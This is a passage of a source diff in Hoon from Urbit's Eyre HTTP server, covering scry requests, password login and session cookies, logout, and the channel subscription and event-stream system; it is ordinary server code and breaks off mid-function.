+        =+  connection=(~(got by connections.state) duct)
+        %^  return-static-data-on-duct  500  'text/html'
+        %:  internal-server-error
+            authenticated.inbound-request.connection
+            url.request.inbound-request.connection
+            leaf+"scry blocked on"
+            (fall (bind (bind ((soft path) p.res) smyt) (late ~)) ~)
+        ==
+      =/  result  ;;(simple-payload:http +.p.res)
+      ::  ensure we have a valid content-length header
+      ::
+      ::    We pass on the response and the headers the generator produces, but
+      ::    ensure that we have a single content-length header set correctly in
+      ::    the returned if this has a body, and has no content-length if there
+      ::    is no body returned to the client.
+      ::
+      =.  headers.response-header.result
+        ?~  data.result
+          (delete-header:http 'content-length' headers.response-header.result)
+        ::
+        %^  set-header:http  'content-length'
+          (crip (format-ud-as-integer p.u.data.result))
+        headers.response-header.result
+      ::
+      %-  handle-response
+      ^-  http-event:http
+      :*  %start
+          response-header.result
+          data.result
+          complete=%.y
+      ==
+    ::
+        %app
+      :_  state
+      (subscribe-to-app app.action inbound-request.connection)
+    ::
+        %authentication
+      (handle-request:authentication secure address request)
+    ::
+        %logout
+      (handle-logout:authentication authenticated request)
+    ::
+        %channel
+      (handle-request:by-channel secure authenticated address request)
+    ::
+        %scry
+      (handle-scry authenticated address request(url suburl))
+    ::
+        %four-oh-four
+      %^  return-static-data-on-duct  404  'text/html'
+      (error-page 404 authenticated url.request ~)
+    ==
+  ::  +handle-scry: respond with scry result, 404 or 500
+  ::
+  ++  handle-scry
+    |=  [authenticated=? =address =request:http]
+    |^  ^-  (quip move server-state)
+    ?.  authenticated
+      (error-response 403 ~)
+    ?.  =(%'GET' method.request)
+      (error-response 405 "may only GET scries")
+    ::  make sure the path contains an app to scry into
+    ::
+    =+  req=(parse-request-line url.request)
+    ?.  ?=(^ site.req)
+      (error-response 400 "scry path must start with app name")
+    ::  attempt the scry that was asked for
+    ::
+    =/  res=(unit (unit cage))
+      (do-scry %gx i.site.req (snoc t.site.req (fall ext.req %mime)))
+    ?~  res    (error-response 500 "failed scry")
+    ?~  u.res  (error-response 404 "no scry result")
+    =*  mark   p.u.u.res
+    =*  vase   q.u.u.res
+    ::  attempt to find conversion gate to mime
+    ::
+    =/  tub=(unit tube:clay)
+      (find-tube i.site.req mark %mime)
+    ?~  tub  (error-response 500 "no tube from {(trip mark)} to mime")
+    ::  attempt conversion, then send results
+    ::
+    =/  mym=(each mime tang)
+      (mule |.(!<(mime (u.tub vase))))
+    ?-  -.mym
+      %|  (error-response 500 "failed tube from {(trip mark)} to mime")
+      %&  %+  return-static-data-on-duct  200
+          [(rsh 3 (spat p.p.mym)) q.p.mym]
+    ==
+    ::
+    ++  find-tube
+      |=  [dap=term from=mark to=mark]
+      ^-  (unit tube:clay)
+      ?:  =(from to)  `(bake same vase)
+      =/  des=(unit (unit cage))
+        (do-scry %gd dap ~)
+      ?.  ?=([~ ~ *] des)  ~
+      =+  !<(=desk q.u.u.des)
+      =/  tub=(unit (unit cage))
+        (do-scry %cc desk /[from]/[to])
+      ?.  ?=([~ ~ %tube *] tub)  ~
+      `!<(tube:clay q.u.u.tub)
+    ::
+    ++  do-scry
+      |=  [care=term =desk =path]
+      ^-  (unit (unit cage))
+      (rof ~ care [our desk da+now] path)
+    ::
+    ++  error-response
+      |=  [status=@ud =tape]
+      ^-  (quip move server-state)
+      %^  return-static-data-on-duct  status  'text/html'
+      (error-page status authenticated url.request tape)
+    --
+  ::  +subscribe-to-app: subscribe to app and poke it with request data
+  ::
+  ++  subscribe-to-app
+    |=  [app=term =inbound-request:eyre]
+    ^-  (list move)
+    :~  :*  duct  %pass  /watch-response/[eyre-id]
+            %g  %deal  [our our]  app
+            %watch  /http-response/[eyre-id]
+        ==
+      ::
+        :*  duct  %pass  /run-app-request/[eyre-id]
+            %g  %deal  [our our]  app
+            %poke  %handle-http-request
+            !>(`[@ta inbound-request:eyre]`[eyre-id inbound-request])
+        ==
+    ==
+  ::  +cancel-request: handles a request being externally aborted
+  ::
+  ++  cancel-request
+    ^-  [(list move) server-state]
+    ::
+    ?~  connection=(~(get by connections.state) duct)
+      ::  nothing has handled this connection
+      ::
+      [~ state]
+    ::
+    =.   connections.state  (~(del by connections.state) duct)
+    ::
+    ?-    -.action.u.connection
+        %gen  [~ state]
+        %app
+      :_  state
+      :_  ~
+      :*  duct  %pass  /watch-response/[eyre-id]
+          %g  %deal  [our our]  app.action.u.connection
+          %leave  ~
+      ==
+    ::
+        ?(%authentication %logout)
+      [~ state]
+    ::
+        %channel
+      on-cancel-request:by-channel
+    ::
+        ?(%scry %four-oh-four)
+      ::  it should be impossible for a scry or 404 page to be asynchronous
+      ::
+      !!
+    ==
+  ::  +return-static-data-on-duct: returns one piece of data all at once
+  ::
+  ++  return-static-data-on-duct
+    |=  [code=@ content-type=@t data=octs]
+    ^-  [(list move) server-state]
+    ::
+    %-  handle-response
+    :*  %start
+        :-  status-code=code
+        ^=  headers
+          :~  ['content-type' content-type]
+              ['content-length' (crip (format-ud-as-integer p.data))]
+          ==
+        data=[~ data]
+        complete=%.y
+    ==
+  ::  +authentication: per-event authentication as this Urbit's owner
+  ::
+  ::    Right now this hard codes the authentication page using the old +code
+  ::    system, but in the future should be pluggable so we can use U2F or
+  ::    WebAuthn or whatever is more secure than passwords.
+  ::
+  ++  authentication
+    |%
+    ::  +handle-request: handles an http request for the login page
+    ::
+    ++  handle-request
+      |=  [secure=? =address =request:http]
+      ^-  [(list move) server-state]
+      ::
+      ::  if we received a simple get, just return the page
+      ::
+      ?:  =('GET' method.request)
+        ::  parse the arguments out of request uri
+        ::
+        =+  request-line=(parse-request-line url.request)
+        %^  return-static-data-on-duct  200  'text/html'
+        (login-page (get-header:http 'redirect' args.request-line) our %.n)
+      ::  if we are not a post, return an error
+      ::
+      ?.  =('POST' method.request)
+        (return-static-data-on-duct 400 'text/html' (login-page ~ our %.n))
+      ::  we are a post, and must process the body type as form data
+      ::
+      ?~  body.request
+        (return-static-data-on-duct 400 'text/html' (login-page ~ our %.n))
+      ::
+      =/  parsed=(unit (list [key=@t value=@t]))
+        (rush q.u.body.request yquy:de-purl:html)
+      ?~  parsed
+        (return-static-data-on-duct 400 'text/html' (login-page ~ our %.n))
+      ::
+      =/  redirect=(unit @t)  (get-header:http 'redirect' u.parsed)
+      ?~  password=(get-header:http 'password' u.parsed)
+        (return-static-data-on-duct 400 'text/html' (login-page redirect our %.n))
+      ::  check that the password is correct
+      ::
+      ?.  =(u.password code)
+        (return-static-data-on-duct 400 'text/html' (login-page redirect our %.y))
+      ::  mint a unique session cookie
+      ::
+      =/  session=@uv
+        |-
+        =/  candidate=@uv  (~(raw og eny) 128)
+        ?.  (~(has by sessions.authentication-state.state) candidate)
+          candidate
+        $(eny (shas %try-again candidate))
+      ::  record cookie and record expiry time
+      ::
+      =/  first-session=?  =(~ sessions.authentication-state.state)
+      =/  expires-at=@da   (add now session-timeout)
+      =.  sessions.authentication-state.state
+        (~(put by sessions.authentication-state.state) session [expires-at ~])
+      ::
+      =/  cookie-line=@t
+        (session-cookie-string session &)
+      ::
+      =;  out=[moves=(list move) server-state]
+        ::  if we didn't have any cookies previously, start the expiry timer
+        ::
+        ?.  first-session  out
+        =-  out(moves [- moves.out])
+        [duct %pass /sessions/expire %b %wait expires-at]
+      ::
+      ?~  redirect
+        %-  handle-response
+        :*  %start
+            :-  status-code=204
+            ^=  headers
+              :~  ['set-cookie' cookie-line]
+              ==
+            data=~
+            complete=%.y
+        ==
+      ::
+      =/  actual-redirect  ?:(=(u.redirect '') '/' u.redirect)
+      %-  handle-response
+      :*  %start
+          :-  status-code=303
+          ^=  headers
+            :~  ['location' actual-redirect]
+                ['set-cookie' cookie-line]
+            ==
+          data=~
+          complete=%.y
+      ==
+    ::  +handle-logout: handles an http request for logging out
+    ::
+    ++  handle-logout
+      |=  [authenticated=? =request:http]
+      ^-  [(list move) server-state]
+      ::  whatever we end up doing, we always redirect to the login page
+      ::
+      =/  response=$>(%start http-event:http)
+        :*  %start
+            response-header=[303 ['location' '/~/login']~]
+            data=~
+            complete=%.y
+        ==
+      ::
+      =/  session-id=(unit @uv)
+        (session-id-from-request request)
+      =?  headers.response-header.response  ?=(^ session-id)
+        :_  headers.response-header.response
+        ['set-cookie' (session-cookie-string u.session-id |)]
+      ?.  &(authenticated ?=(^ session-id))
+        (handle-response response)
+      ::  delete the requesting session, or all sessions if so specified
+      ::
+      =^  channels=(list @t)  sessions.authentication-state.state
+        =*  sessions  sessions.authentication-state.state
+        =/  all=?
+          ?~  body.request  |
+          =-  ?=(^ -)
+          %+  get-header:http  'all'
+          (fall (rush q.u.body.request yquy:de-purl:html) ~)
+        ?.  all
+          :_  (~(del by sessions) u.session-id)
+          %~  tap  in
+          channels:(~(gut by sessions) u.session-id *session)
+        :_  ~
+        %~  tap  in
+        %+  roll  ~(val by sessions)
+        |=  [session all=(set @t)]
+        (~(uni in all) channels)
+      ::  close all affected channels, then send the response
+      ::
+      =|  moves=(list move)
+      |-  ^-  (quip move server-state)
+      ?~  channels
+        =^  moz  state
+          (handle-response response)
+        [(weld moves moz) state]
+      =^  moz  state
+        (discard-channel:by-channel i.channels |)
+      $(moves (weld moves moz), channels t.channels)
+    ::  +session-id-from-request: attempt to find a session cookie
+    ::
+    ++  session-id-from-request
+      |=  =request:http
+      ^-  (unit @uv)
+      ::  are there cookies passed with this request?
+      ::
+      ::    TODO: In HTTP2, the client is allowed to put multiple 'Cookie'
+      ::    headers.
+      ::
+      ?~  cookie-header=(get-header:http 'cookie' header-list.request)
+        ~
+      ::  is the cookie line is valid?
+      ::
+      ?~  cookies=(rush u.cookie-header cock:de-purl:html)
+        ~
+      ::  is there an urbauth cookie?
+      ::
+      ?~  urbauth=(get-header:http (crip "urbauth-{(scow %p our)}") u.cookies)
+        ~
+      ::  if it's formatted like a valid session cookie, produce it
+      ::
+      `(unit @)`(rush u.urbauth ;~(pfix (jest '0v') viz:ag))
+    ::  +request-is-logged-in: checks to see if the request is authenticated
+    ::
+    ::    We are considered logged in if this request has an urbauth
+    ::    Cookie which is not expired.
+    ::
+    ++  request-is-logged-in
+      |=  =request:http
+      ^-  ?
+      ::  does the request pass a session cookie?
+      ::
+      ?~  session-id=(session-id-from-request request)
+        %.n
+      ::  is this a session that we know about?
+      ::
+      ?~  session=(~(get by sessions.authentication-state.state) `@uv`u.session-id)
+        %.n
+      ::  is this session still valid?
+      ::
+      (lte now expiry-time.u.session)
+    ::  +code: returns the same as |code
+    ::
+    ++  code
+      ^-  @ta
+      =/  res=(unit (unit cage))
+        (rof ~ %j [our %code da+now] /(scot %p our))
+      (rsh 3 (scot %p ;;(@ q.q:(need (need res)))))
+    ::  +session-cookie-string: compose session cookie
+    ::
+    ++  session-cookie-string
+      |=  [session=@uv extend=?]
+      ^-  @t
+      %-  crip
+      =;  max-age=tape
+        "urbauth-{(scow %p our)}={(scow %uv session)}; Path=/; Max-Age={max-age}"
+      %-  format-ud-as-integer
+      ?.  extend  0
+      (div (msec:milly session-timeout) 1.000)
+    --
+  ::  +channel: per-event handling of requests to the channel system
+  ::
+  ::    Eyre offers a remote interface to your Urbit through channels, which
+  ::    are persistent connections on the server which can be disconnected and
+  ::    reconnected on the client.
+  ::
+  ++  by-channel
+    ::  moves: the moves to be sent out at the end of this event, reversed
+    ::
+    =|  moves=(list move)
+    |%
+    ::  +handle-request: handles an http request for the subscription system
+    ::
+    ++  handle-request
+      |=  [secure=? authenticated=? =address =request:http]
+      ^-  [(list move) server-state]
+      ::  if we're not authenticated error, but don't redirect.
+      ::
+      ::    We don't redirect because subscription stuff is never the toplevel
+      ::    page; issuing a redirect won't help.
+      ::
+      ?.  authenticated
+        %^  return-static-data-on-duct  403  'text/html'
+        (error-page 403 authenticated url.request "unauthenticated channel usage")
+      ::  parse out the path key the subscription is on
+      ::
+      =+  request-line=(parse-request-line url.request)
+      ?.  ?=([@t @t @t ~] site.request-line)
+        ::  url is not of the form '/~/channel/'
+        ::
+        %^  return-static-data-on-duct  400  'text/html'
+        (error-page 400 authenticated url.request "malformed channel url")
+      ::  channel-id: unique channel id parsed out of url
+      ::
+      =+  channel-id=i.t.t.site.request-line
+      ::
+      ?:  =('PUT' method.request)
+        ::  PUT methods starts/modifies a channel, and returns a result immediately
+        ::
+        (on-put-request channel-id request)
+      ::
+      ?:  =('GET' method.request)
+        (on-get-request channel-id request)
+      ?:  =('POST' method.request)
+        ::  POST methods are used solely for deleting channels
+        (on-put-request channel-id request)
+      ::
+      ~&  %session-not-a-put
+      [~ state]
+    ::  +on-cancel-request: cancels an ongoing subscription
+    ::
+    ::    One of our long lived sessions just got closed. We put the associated
+    ::    session back into the waiting state.
+    ::
+    ++  on-cancel-request
+      ^-  [(list move) server-state]
+      ::  lookup the session id by duct
+      ::
+      ?~  maybe-channel-id=(~(get by duct-to-key.channel-state.state) duct)
+        ~>  %slog.[0 leaf+"eyre: no channel to cancel {<duct>}"]
+        [~ state]
+      ::
+      ~>  %slog.[0 leaf+"eyre: canceling {<duct>}"]
+      ::
+      =/  maybe-session
+        (~(get by session.channel-state.state) u.maybe-channel-id)
+      ?~  maybe-session  [~ state]
+      ::
+      =/  heartbeat-cancel=(list move)
+        ?~  heartbeat.u.maybe-session  ~
+        :~  %^  cancel-heartbeat-move
+              u.maybe-channel-id
+            date.u.heartbeat.u.maybe-session
+          duct.u.heartbeat.u.maybe-session
+        ==
+      ::
+      =/  expiration-time=@da  (add now channel-timeout)
+      ::
+      :-  %+  weld  heartbeat-cancel
+        [(set-timeout-move u.maybe-channel-id expiration-time) moves]
+      %_    state
+          session.channel-state
+        %+  ~(jab by session.channel-state.state)  u.maybe-channel-id
+        |=  =channel
+        ::  if we are canceling a known channel, it should have a listener
+        ::
+        ?>  ?=([%| *] state.channel)
+        channel(state [%& [expiration-time duct]], heartbeat ~)
+      ::
+          duct-to-key.channel-state
+        (~(del by duct-to-key.channel-state.state) duct)
+      ==
+    ::  +set-timeout-timer-for: sets a timeout timer on a channel
+    ::
+    ::    This creates a channel if it doesn't exist, cancels existing timers
+    ::    if they're already set (we cannot have duplicate timers), and (if
+    ::    necessary) moves channels from the listening state to the expiration
+    ::    state.
+    ::
+    ++  update-timeout-timer-for
+      |=  channel-id=@t
+      ^+  ..update-timeout-timer-for
+      ::  when our callback should fire
+      ::
+      =/  expiration-time=@da  (add now channel-timeout)
+      ::  if the channel doesn't exist, create it and set a timer
+      ::
+      ?~  maybe-channel=(~(get by session.channel-state.state) channel-id)
+        ::
+        %_    ..update-timeout-timer-for
+            session.channel-state.state
+          %+  ~(put by session.channel-state.state)  channel-id
+          [[%& expiration-time duct] 0 now ~ ~ ~ ~]
+        ::
+            moves
+          [(set-timeout-move channel-id expiration-time) moves]
+        ==
+      ::  if the channel has an active listener, we aren't setting any timers
+      ::
+      ?:  ?=([%| *] state.u.maybe-channel)
+        ..update-timeout-timer-for
+      ::  we have a previous timer; cancel the old one and set the new one
+      ::
+      %_    ..update-timeout-timer-for
+          session.channel-state.state
+        %+  ~(jab by session.channel-state.state)  channel-id
+        |=  =channel
+        channel(state [%& [expiration-time duct]])
+      ::
+          moves
+        :*  (cancel-timeout-move channel-id p.state.u.maybe-channel)
+            (set-timeout-move channel-id expiration-time)
+            moves
+        ==
+      ==
+    ::
+    ++  set-heartbeat-move
+      |=  [channel-id=@t heartbeat-time=@da]
+      ^-  move
+      :^  duct  %pass  /channel/heartbeat/[channel-id]
+      [%b %wait heartbeat-time]
+    ::
+    ++  cancel-heartbeat-move
+      |=  [channel-id=@t heartbeat-time=@da =^duct]
+      ^-  move
+      :^  duct  %pass  /channel/heartbeat/[channel-id]
+      [%b %rest heartbeat-time]
+    ::
+    ++  set-timeout-move
+      |=  [channel-id=@t expiration-time=@da]
+      ^-  move
+      [duct %pass /channel/timeout/[channel-id] %b %wait expiration-time]
+    ::
+    ++  cancel-timeout-move
+      |=  [channel-id=@t expiration-time=@da =^duct]
+      ^-  move
+      :^  duct  %pass  /channel/timeout/[channel-id]
+      [%b %rest expiration-time]
+    ::  +on-get-request: handles a GET request
+    ::
+    ::    GET requests open a channel for the server to send events to the
+    ::    client in text/event-stream format.
+    ::
+    ++  on-get-request
+      |=  [channel-id=@t =request:http]
+      ^-  [(list move) server-state]
+      ::  if there's no channel-id, we must 404
+      ::
+      ?~  maybe-channel=(~(get by session.channel-state.state) channel-id)
+        %^  return-static-data-on-duct  404  'text/html'
+        (error-page 404 %.y url.request ~)
+      ::  when opening an event-stream, we must cancel our timeout timer
+      ::  if there's no duct already bound. Else, kill the old request
+      ::  and replace it
+      ::
+      =^  cancel-moves  state
+        ?.  ?=([%| *] state.u.maybe-channel)
+          :_  state
+          (cancel-timeout-move channel-id p.state.u.maybe-channel)^~
+        =/  cancel-heartbeat
+          ?~  heartbeat.u.maybe-channel  ~
+          :_  ~
+          %+  cancel-heartbeat-move  channel-id
+          [date duct]:u.heartbeat.u.maybe-channel
+        =-  [(weld cancel-heartbeat -<) ->]
+        (handle-response(duct p.state.u.maybe-channel) [%cancel ~])
+      ::  the request may include a 'Last-Event-Id' header
+      ::
+      =/  maybe-last-event-id=(unit @ud)
+        ?~  maybe-raw-header=(get-header:http 'Last-Event-ID' header-list.request)
+          ~
+        (rush u.maybe-raw-header dum:ag)
+      ::  flush events older than the passed in 'Last-Event-ID'
+      ::
+      =?  state  ?=(^ maybe-last-event-id)
+        (acknowledge-events channel-id u.maybe-last-event-id)
+      ::  combine the remaining queued events to send to the client
+      ::
+      =/  event-replay=wall
+        %-  zing
+        %-  flop
+        =/  queue  events.u.maybe-channel
+        =|  events=(list wall)
+        |-
+        ^+  events
+        ?:  =(~ queue)
+          events
+        =^  head  queue  ~(get to queue)
+        =,  p.head
+        ::NOTE  these will only fail if the mark and/or json types changed,
+        ::      since conversion failure also gets caught during first receive.
+        ::      we can't do anything about this, so consider it unsupported.
+        =/  sign
+          (channel-event-to-sign u.maybe-channel request-id channel-event)
+        ?~  sign  $
+        ?~  jive=(sign-to-json u.maybe-channel request-id u.sign)  $
+        $(events [(event-json-to-wall id +.u.jive) events])
+      ::  send the start event to the client
+      ::
+      =^  http-moves  state
+        %-  handle-response
+        :*  %start
+            :-  200
+            :~  ['content-type' 'text/event-stream']
+                ['cache-control' 'no-cache']
+                ['connection' 'keep-alive']
+            ==
+            (wall-to-octs event-replay)
+            complete=%.n
+        ==
+      ::  associate this duct with this session key
+      ::
+      =.  duct-to-key.channel-state.state
+        (~(put by duct-to-key.channel-state.state) duct channel-id)
+      ::  associate this channel with the session cookie
+      ::
+      =.  sessions.authentication-state.state
+        =/  session-id=(unit @uv)
+          (session-id-from-request:authentication request)
+        ?~  session-id  sessions.authentication-state.state
+        %+  ~(jab by sessions.authentication-state.state)
+          u.session-id
+        |=  =session
+        session(channels (~(put in channels.session) channel-id))
+      ::  initialize sse heartbeat
+      ::
+      =/  heartbeat-time=@da  (add now ~s20)
+      =/  heartbeat  (set-heartbeat-move channel-id heartbeat-time)
+      ::  clear the event queue, record the duct for future output and
+      ::  record heartbeat-time for possible future cancel
+      ::
+      =.  session.channel-state.state
+        %+  ~(jab by session.channel-state.state)  channel-id
+        |=  =channel
+        channel(events ~, state [%| duct], heartbeat (some [heartbeat-time duct]))
+      ::
+      [[heartbeat :(weld http-moves cancel-moves moves)] state]
+    ::  +acknowledge-events: removes events before :last-event-id on :channel-id
+    ::
+    ++  acknowledge-events
+      |=  [channel-id=@t last-event-id=@u]
+      ^-  server-state
+      %_    state
+          session.channel-state
+        %+  ~(jab by session.channel-state.state)  channel-id
+        |=  =channel
+        ^+  channel
+        =^  acked  events.channel
+          (prune-events events.channel last-event-id)
+        =.  unacked.channel
+          (subtract-acked-events acked unacked.channel)
+        channel(last-ack now)
+      ==
+    ::  +on-put-request: handles a PUT request
+    ::
+    ::    PUT requests send commands from the client to the server. We receive
+    ::    a set of commands in JSON format in the body of the message.
+    ::
+    ++  on-put-request
+      |=  [channel-id=@t =request:http]
+      ^-  [(list move) server-state]
+      ::  error when there's no body
+      ::
+      ?~  body.request
+        %^  return-static-data-on-duct  400  'text/html'
+        (error-page 400 %.y url.request "no put body")
+      ::  if the incoming body isn't json, this is a bad request, 400.
+      ::
+      ?~  maybe-json=(de-json:html q.u.body.request)
+        %^  return-static-data-on-duct  400  'text/html'
+        (error-page 400 %.y url.request "put body not json")
+      ::  parse the json into an array of +channel-request items
+      ::
+      ?~  maybe-requests=(parse-channel-request u.maybe-json)
+        %^  return-static-data-on-duct  400  'text/html'
+        (error-page 400 %.y url.request "invalid channel json")
+      ::  while weird, the request list could be empty
+      ::
+      ?:  =(~ u.maybe-requests)
+        %^  return-static-data-on-duct  400  'text/html'
+        (error-page 400 %.y url.request "empty list of actions")
+      ::  check for the existence of the channel-id
+      ::
+      ::    if we have no session, create a new one set to expire in
+      ::    :channel-timeout from now. if we have one which has a timer, update
+      ::    that timer.
+      ::
+      =.  ..on-put-request  (update-timeout-timer-for channel-id)
+      ::  for each request, execute the action passed in
+      ::
+      =+  requests=u.maybe-requests
+      ::  gall-moves: put moves here first so we can flop for ordering
+      ::
+      ::    TODO: Have an error state where any invalid duplicate subscriptions
+      ::    or other errors cause the entire thing to fail with a 400 and a tang.
+      ::
+      =|  gall-moves=(list move)
+      |-
+      ::
+      ?~  requests
+        ::  this is a PUT request; we must mark it as complete
+        ::
+        =^  http-moves  state
+          %-  handle-response
+          :*  %start
+              [status-code=204 headers=~]
+              data=~
+              complete=%.y
+          ==
+        ::
+        [:(weld (flop gall-moves) http-moves moves) state]
+      ::
+      ?-    -.i.requests
+          %ack
+        ::  client acknowledges that they have received up to event-id
+        ::
+        %_  $
+          state     (acknowledge-events channel-id event-id.i.requests)
+          requests  t.requests
+        ==
+      ::
+          %poke
+        ::
+        =.  gall-moves
+          :_  gall-moves
+          ^-  move
+          :^  duct  %pass  /channel/poke/[channel-id]/(scot %ud request-id.i.requests)
+          =,  i.requests
+          :*  %g  %deal  `sock`[our ship]  app
+              `task:agent:gall`[%poke-as mark %json !>(json)]
+          ==
+        ::
+        $(requests t.requests)
+      ::
+          %subscribe
+        ::
+        =,  i.requests
+        ::
+        =.  gall-moves
+          :_  gall-moves
+          ^-  move
+          :^  duct  %pass
+            (subscription-wire channel-id request-id ship app)
+          :*  %g  %deal  [our ship]  app
+              `task:agent:gall`[%watch path]
+          ==
+        ::
+        =.  session.channel-state.state
+          %+  ~(jab by session.channel-state.state)  channel-id
+          |=  =channel
+          =-  channel(subscriptions -)
+          %+  ~(put by subscriptions.channel)
+            request-id
+          [ship app path duct]
+        ::
+        $(requests t.requests)
+      ::
+          %unsubscribe
+        =,  i.requests
+        ::
+        =/  usession  (~(get by session.channel-state.state) channel-id)
+        ?~  usession
+          $(requests t.requests)
+        =/  subscriptions  subscriptions:u.usession
+        ::
+        ?~  maybe-subscription=(~(get by subscriptions) subscription-id)
+          ::  the client sent us a weird request referring to a subscription
+          ::  which isn't active.
+          ::
+          ~&  [%missing-subscription-in-unsubscribe channel-id subscription-id]
+          $(requests t.requests)
+        ::
+        =.  gall-moves
+          :_  gall-moves
+          ^-  move
+          =,  u.maybe-subscription
+          :^  duc  %pass
+            (subscription-wire channel-id subscription-id.i.requests ship app)
+          :*  %g  %deal  [our ship]  app
+              `task:agent:gall`[%leave ~]
+          ==
+        ::
+        =.  session.channel-state.state
+          %+  ~(jab by session.channel-state.state)  channel-id
+          |=  =channel
+          %_  channel
+            subscriptions  (~(del by subscriptions.channel) subscription-id)
+            unacked        (~(del by unacked.channel) subscription-id)
+          ==
+        ::
+        $(requests t.requests)
+      ::
+          %delete
+        =^  moves  state
+          (discard-channel channel-id |)
+        =.  gall-moves
+          (weld gall-moves moves)
+        $(requests t.requests)
+      ::
+      ==
+    ::  +on-gall-response: sanity-check a gall response, send as event
+    ::
+    ++  on-gall-response
+      |=  [channel-id=@t request-id=@ud extra=wire =sign:agent:gall]
+      ^-  [(list move) server-state]
+      ::  if the channel doesn't exist, we should clean up subscriptions
+      ::
+      ::    this is a band-aid solution. you really want eyre to have cleaned
+      ::    these up on-channel-delete in the first place.
+      ::    until the source of that bug is discovered though, we keep this
+      ::    in place to ensure a slightly tidier home.
+      ::
+      ?.  ?&  !(~(has by session.channel-state.state) channel-id)
+              ?=(?(%fact %watch-ack) -.sign)
+              ?=([@ @ ~] extra)
+          ==
+        (emit-event channel-id request-id sign)
+      =/  =ship     (slav %p i.extra)
+      =*  app=term  i.t.extra
+      =/  =tape
+        %+  weld  "eyre: removing watch for "
+        "non-existent channel {(trip channel-id)} on {(trip app)}"
+      %-  (slog leaf+tape ~)
+      :_  state
+      :_  ~
+      ^-  move
+      :^  duct  %pass
+        (subscription-wire channel-id request-id ship app)
+      [%g %deal [our ship] app `task:agent:gall`[%leave ~]]
+    ::  +emit-event: records an event occurred, possibly sending to client
+    ::
+    ::    When an event occurs, we need to record it, even if we immediately
+    ::    send it to a connected browser so in case of disconnection, we can
+    ::    resend it.
+    ::
+    ::    This function is responsible for taking the event sign and converting
+    ::    it into a text/event-stream. The :sign then may get sent, and is
+    ::    stored for later resending until acknowledged by the client.
+    ::
+    ++  emit-event
+      |=  [channel-id=@t request-id=@ud =sign:agent:gall]
+      ^-  [(list move) server-state]
+      ::
+      =/  channel=(unit channel)
+        (~(get by session.channel-state.state) channel-id)
+      ?~  channel
+        :_  state  :_  ~
+        [duct %pass /flog %d %flog %crud %eyre-no-channel >id=channel-id< ~]
+      ::  it's possible that this is a sign emitted directly alongside a fact
+      ::  that triggered a clog & closed the subscription. in that case, just
+      ::  drop the sign.
+      ::  poke-acks are not paired with subscriptions, so we can process them
+      ::  regardless.
+      ::
+      ?:  ?&  !?=(%poke-ack -.sign)
+              !(~(has by subscriptions.u.channel) request-id)
+          ==
+        [~ state]
+      ::  attempt to convert the sign to json.
+      ::  if conversion succeeds, we *can* send it. if the client is actually
+      ::  connected, we *will* send it immediately.
+      ::
+      =/  jive=(unit (quip move json))
+        (sign-to-json u.channel request-id sign)
+      =/  json=(unit json)
+        ?~(jive ~ `+.u.jive)
+      =?  moves  ?=(^ jive)
+        (weld moves -.u.jive)
+      =*  sending  &(?=([%| *] state.u.channel) ?=(^ json))
+      ::
+      =/  next-id  next-id.u.channel
+      ::  if we can send it, store the event as unacked
+      ::
+      =?  events.u.channel  ?=(^ json)
+        %-  ~(put to events.u.channel)
+        [next-id request-id (sign-to-channel-event sign)]
+      ::  if it makes sense to do so, send the event to the client
+      ::
+      =?  moves  sending
+        ^-  (list move)
+        :_  moves
+        ::NOTE  assertions in this block because =* is flimsy
+        ?>  ?=([%| *] state.u.channel)
+        :+  p.state.u.channel  %give
+        ^-  gift
+        :*  %response  %continue
+        ::
+            ^=  data
+            %-  wall-to-octs
+            (event-json-to-wall next-id (need json))
+        ::
+            complete=%.n
+        ==
+      =?  next-id  ?=(^ json)  +(next-id)
+      ::  update channel's unacked counts, find out if clogged
+      ::
+      =^  clogged  unacked.u.channel
+        ::  only apply clog logic to facts.
+        ::  and of course don't count events we can't send as unacked.
+        ::
+        ?:  ?|  !?=(%fact -.sign)
+                ?=(~ json)
+            ==
+          [| unacked.u.channel]
+        =/  num=@ud
+          (~(gut by unacked.u.channel) request-id 0)
+        :_  (~(put by unacked.u.channel) request-id +(num))
+        ?&  (gte num clog-threshold)
+            (lth (add last-ack.u.channel clog-timeout) now)
+        ==
+      ~?  clogged  [%e %clogged channel-id request-id]
+      ::  if we're clogged, or we ran into an event we can't serialize,
+      ::  kill this gall subscription.
+      ::
+      =*  kicking    |(clogged ?=(~ json))
+      =?  moves      kicking
+        :_  moves
+        ::NOTE  this shouldn't crash because we
+        ::      - never fail to serialize subscriptionless signs (%poke-ack),
+        ::      - only clog on %facts, which have a subscription associated,
+        ::      - and already checked whether we still have that subscription.
+        =+  (~(got by subscriptions.u.channel) request-id)
+        :^  duct  %pass
+          (subscription-wire channel-id request-id ship app)
+        [%g %deal [our ship] app %leave ~]
+      ::  update channel state to reflect the %kick
+      ::
+      =?  u.channel  kicking
+        %_  u.channel
+          subscriptions  (~(del by subscriptions.u.channel) request-id)
+          unacked        (~(del by unacked.u.channel) request-id)
+          events         %-  ~(put to events.u.channel)
+                         [next-id request-id (sign-to-channel-event %kick ~)]
+        ==
+      ::  if a client is connected, send the kick event to them
+      ::
+      =?  moves  &(kicking ?=([%| *] state.u.channel))
+        :_  moves
+        :+  p.state.u.channel  %give
+        ^-  gift
+        :*  %response  %continue
+        ::
+            ^=  data
+            %-  wall-to-octs
+            %+  event-json-to-wall  next-id
+            +:(need (sign-to-json u.channel request-id %kick ~))
+        ::
+            complete=%.n
+        ==
+      =?  next-id   kicking  +(next-id)
+      ::
+      :-  (flop moves)
+      %_    state
+          session.channel-state
+        %+  ~(put by session.channel-state.state)  channel-id
+        u.channel(next-id next-id)
+      ==
+    ::  +sign-to-channel-event: strip the vase from a sign:agent:gall
+    ::
+    ++  sign-to-channel-event
+      |=  =sign:agent:gall
+      ^-  channel-event
+      ?.  ?=(%fact -.sign)  sign
+      [%fact [p q.q]:cage.sign]
+    ::  +app-to-desk
+    ::
+    ++  app-to-desk
+      |=  [=channel request-id=@ud]
+      ^-  (unit desk)
+      =/  sub  (~(get by subscriptions.channel) request-id)
+      ?~  sub
+        ((slog leaf+"eyre: no subscription for request-id {<request-id>}" ~) ~)
+      =/  des=(unit (unit cage))
+        (rof ~ %gd [our app.u.sub da+now] ~)
+      ?.  ?=([~ ~ *] des)
+        ((slog leaf+"eyre: no desk for app {(trip app.u.sub)}" ~) ~)
+      `!<(=desk q.u.u.des)
+    ::  +channel-event-to-sign: attempt to recover a sign from a channel-event
+    ::
+    ++  channel-event-to-sign
+      ~%  %eyre-channel-event-to-sign  ..part  ~
+      |=  [=channel request-id=@ud event=channel-event]
+      ^-  (unit sign:agent:gall)
